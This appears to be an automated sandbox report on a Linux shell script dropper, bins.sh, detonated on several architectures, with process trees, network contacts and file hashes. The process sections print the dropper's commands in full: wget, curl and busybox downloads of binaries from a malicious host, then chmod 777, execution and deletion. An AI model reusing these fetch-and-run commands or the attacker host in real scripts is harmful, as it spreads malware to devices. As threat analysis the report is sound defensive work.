Analysis Overview
SHA256
35138d9bc695c53235e8a5f14cd4299988f55b929d4fa75760f3073ad48c3b3a
Threat Level: Shows suspicious behavior
The file bins.sh was found to be: Shows suspicious behavior.
Malicious Activity Summary
File and Directory Permissions Modification
Executes dropped EXE
Checks CPU configuration
Reads runtime system information
System Network Configuration Discovery
Writes file to tmp directory
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-11-25 15:41
Signatures
Analysis: behavioral4
Detonation Overview
Submitted
2024-11-25 15:41
Reported
2024-11-25 15:43
Platform
debian9-mipsel-20240226-en
Max time kernel
149s
Max time network
155s
Command Line
Signatures
Reads runtime system information
| Description | Indicator | Process | Target |
| File opened for reading | /proc/sys/crypto/fips_enabled | /usr/bin/curl | N/A |
System Network Configuration Discovery
| Description | Indicator | Process | Target |
| N/A | N/A | /usr/bin/wget | N/A |
| N/A | N/A | /usr/bin/curl | N/A |
Writes file to tmp directory
| Description | Indicator | Process | Target |
| File opened for modification | /tmp/QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w | /usr/bin/wget | N/A |
Processes
/tmp/bins.sh
[/tmp/bins.sh]
/bin/rm
[/bin/rm bins.sh]
/usr/bin/wget
[wget http://conn.masjesu.zip/bins/QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w]
/usr/bin/curl
[curl -O http://conn.masjesu.zip/bins/QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w]
Network
| Country | Destination | Domain | Proto |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| BG | 87.120.125.191:80 | conn.masjesu.zip | tcp |
| US | 216.126.231.240:80 | conn.masjesu.zip | tcp |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| BG | 87.120.125.191:80 | conn.masjesu.zip | tcp |
Files
/tmp/QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
| MD5 | 05d7857dcead18bbd86d2935f591873c |
| SHA1 | 34d18f41ef35f93d5364ce3e24d74730a4e91985 |
| SHA256 | 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70 |
| SHA512 | d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e |
Analysis: behavioral1
Detonation Overview
Submitted
2024-11-25 15:41
Reported
2024-11-25 15:43
Platform
ubuntu1804-amd64-20240508-en
Max time kernel
148s
Max time network
129s
Command Line
Signatures
System Network Configuration Discovery
| Description | Indicator | Process | Target |
| N/A | N/A | /usr/bin/curl | N/A |
| N/A | N/A | /usr/bin/wget | N/A |
Processes
/tmp/bins.sh
[/tmp/bins.sh]
/bin/rm
[/bin/rm bins.sh]
/usr/bin/wget
[wget http://conn.masjesu.zip/bins/QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w]
/usr/bin/curl
[curl -O http://conn.masjesu.zip/bins/QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w]
Network
| Country | Destination | Domain | Proto |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| N/A | 224.0.0.251:5353 | udp | |
| GB | 185.125.188.62:443 | tcp | |
| GB | 185.125.188.61:443 | tcp | |
| US | 151.101.129.91:443 | tcp | |
| US | 151.101.129.91:443 | tcp | |
| GB | 89.187.167.2:443 | tcp | |
| US | 1.1.1.1:53 | 1527653184.rsc.cdn77.org | udp |
| US | 1.1.1.1:53 | 1527653184.rsc.cdn77.org | udp |
| GB | 84.17.50.9:443 | 1527653184.rsc.cdn77.org | tcp |
Files
Analysis: behavioral2
Detonation Overview
Submitted
2024-11-25 15:41
Reported
2024-11-25 15:43
Platform
debian9-armhf-20240611-en
Max time kernel
148s
Max time network
8s
Command Line
Signatures
Checks CPU configuration
| Description | Indicator | Process | Target |
| File opened for reading | /proc/cpuinfo | /usr/bin/curl | N/A |
Reads runtime system information
| Description | Indicator | Process | Target |
| File opened for reading | /proc/sys/crypto/fips_enabled | /usr/bin/curl | N/A |
| File opened for reading | /proc/self/auxv | /usr/bin/curl | N/A |
System Network Configuration Discovery
| Description | Indicator | Process | Target |
| N/A | N/A | /usr/bin/curl | N/A |
| N/A | N/A | /usr/bin/wget | N/A |
Processes
/tmp/bins.sh
[/tmp/bins.sh]
/bin/rm
[/bin/rm bins.sh]
/usr/bin/wget
[wget http://conn.masjesu.zip/bins/QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w]
/usr/bin/curl
[curl -O http://conn.masjesu.zip/bins/QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w]
Network
| Country | Destination | Domain | Proto |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
Files
Analysis: behavioral3
Detonation Overview
Submitted
2024-11-25 15:41
Reported
2024-11-25 15:43
Platform
debian9-mipsbe-20240611-en
Max time kernel
150s
Max time network
151s
Command Line
Signatures
File and Directory Permissions Modification
| Description | Indicator | Process | Target |
| N/A | N/A | /bin/chmod | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | /tmp/QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w | /tmp/QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w | N/A |
Reads runtime system information
| Description | Indicator | Process | Target |
| File opened for reading | /proc/sys/crypto/fips_enabled | /usr/bin/curl | N/A |
| File opened for reading | /proc/sys/crypto/fips_enabled | /usr/bin/curl | N/A |
System Network Configuration Discovery
| Description | Indicator | Process | Target |
| N/A | N/A | /usr/bin/curl | N/A |
| N/A | N/A | /bin/busybox | N/A |
| N/A | N/A | /usr/bin/wget | N/A |
| N/A | N/A | /usr/bin/curl | N/A |
| N/A | N/A | /usr/bin/wget | N/A |
Writes file to tmp directory
| Description | Indicator | Process | Target |
| File opened for modification | /tmp/BA4Z1mgOrxpgylYbggzkkyi0JScNK16X4G | /usr/bin/wget | N/A |
| File opened for modification | /tmp/QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w | /usr/bin/wget | N/A |
| File opened for modification | /tmp/QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w | /usr/bin/curl | N/A |
| File opened for modification | /tmp/QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w | /bin/busybox | N/A |
Processes
/tmp/bins.sh
[/tmp/bins.sh]
/bin/rm
[/bin/rm bins.sh]
/usr/bin/wget
[wget http://conn.masjesu.zip/bins/QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w]
/usr/bin/curl
[curl -O http://conn.masjesu.zip/bins/QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w]
/bin/busybox
[/bin/busybox wget http://conn.masjesu.zip/bins/QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w]
/bin/chmod
[chmod 777 QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w]
/tmp/QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
[./QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w]
/bin/rm
[rm QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w]
/usr/bin/wget
[wget http://conn.masjesu.zip/bins/BA4Z1mgOrxpgylYbggzkkyi0JScNK16X4G]
/usr/bin/curl
[curl -O http://conn.masjesu.zip/bins/BA4Z1mgOrxpgylYbggzkkyi0JScNK16X4G]
Network
| Country | Destination | Domain | Proto |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| BG | 87.120.125.191:80 | conn.masjesu.zip | tcp |
| US | 216.126.231.240:80 | conn.masjesu.zip | tcp |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| US | 216.126.231.240:80 | conn.masjesu.zip | tcp |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| US | 216.126.231.240:80 | conn.masjesu.zip | tcp |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| US | 216.126.231.240:80 | conn.masjesu.zip | tcp |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| BG | 87.120.125.191:80 | conn.masjesu.zip | tcp |
Files
/tmp/QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
| MD5 | 05d7857dcead18bbd86d2935f591873c |
| SHA1 | 34d18f41ef35f93d5364ce3e24d74730a4e91985 |
| SHA256 | 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70 |
| SHA512 | d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e |
/tmp/BA4Z1mgOrxpgylYbggzkkyi0JScNK16X4G
| MD5 | 9438d9bc392bcf300a5583b6df5bc8f6 |
| SHA1 | 375a6ae34b516f6f3eeea8030c4084f585017efa |
| SHA256 | 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e |
| SHA512 | 1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860 |